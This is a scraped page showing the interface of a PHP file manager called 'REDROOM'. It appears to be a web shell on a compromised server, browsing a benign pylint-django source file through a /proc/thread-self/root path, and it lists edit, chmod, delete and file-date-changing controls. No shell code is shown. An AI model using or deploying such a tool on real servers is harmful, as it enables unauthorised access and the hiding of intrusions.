REDROOM
PHP 8.2.30
Path:
Logout
Edit File
Size: 1.64 KB
Close
//proc/thread-self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/pylint_django/transforms/__init__.py
Text
Base64
""" These transforms replace the Django types with adapted versions to provide additional typing and method inference to pylint. All of these transforms are considered "global" to pylint-django, in that all checks and improvements requre them to be loaded. Additional transforms specific to checkers are loaded by the checker rather than here. For example, the ForeignKeyStringsChecker loads the foreignkey.py transforms itself as it may be disabled independently of the rest of pylint-django """ import os import re import astroid from pylint_django.transforms import fields fields.add_transforms(astroid.MANAGER) def _add_transform(package_name): def fake_module_builder(): """ Build a fake module to use within transformations. @package_name is a parameter from the outer scope b/c according to the docs this can't receive any parameters. http://pylint.pycqa.org/projects/astroid/en/latest/extending.html?highlight=MANAGER#module-extender-transforms """ transforms_dir = os.path.join(os.path.dirname(__file__), "transforms") transformed_name = re.sub(r"\.", "_", package_name) fake_module_path = os.path.join(transforms_dir, f"{transformed_name}.py") with open(fake_module_path, encoding="utf-8") as modulefile: fake_module = modulefile.read() return astroid.builder.AstroidBuilder(astroid.MANAGER).string_build(fake_module) astroid.register_module_extender(astroid.MANAGER, package_name, fake_module_builder) _add_transform("django.utils.translation") # register transform for FileField/ImageField, see #60 _add_transform("django.db.models.fields.files")
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 2 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
transforms
DIR
-
drwxr-xr-x
2026-02-06 08:01:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
__pycache__
DIR
-
drwxr-xr-x
2026-02-06 08:01:08
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
fields.py
3.89 KB
lrw-r--r--
2026-01-20 13:01:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
foreignkey.py
5.76 KB
lrw-r--r--
2026-01-20 13:01:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
__init__.py
1.64 KB
lrw-r--r--
2026-01-20 13:01:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).